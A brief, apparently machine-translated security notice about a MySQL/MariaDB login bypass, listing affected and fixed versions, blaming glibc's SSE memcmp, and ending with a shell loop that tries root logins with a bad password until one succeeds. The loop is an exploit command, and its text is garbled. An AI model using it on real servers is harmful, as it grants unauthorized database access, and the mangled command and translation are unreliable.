Severe MySQL bug-User Login Vulnerability

Security vulnerability in MySQL/mariadb can log on directly and repeatedly (about 256 on average) when the user name (such as root) is known.

Affected Versions:

All mariadb and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
Mariadb versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

Click here for details

=================== Additional instructions =================================

This bug was not found in the official compiled version.If you download the source code and compile it yourself, you may encounter this problem..

This problem is related to the return value of the memcmp () function. Currently, we know that the built-in memcmp of GCC is secure, while the memcmp of BSD libc is secure.Memcmp optimized by Linux glibc SSE has this problem.

Shell:

$ For I in 'seq 1 1000 '; do mysql-u root -- Password = bad-H 127.0.0.1 2>/dev/NULL; done
Mysql>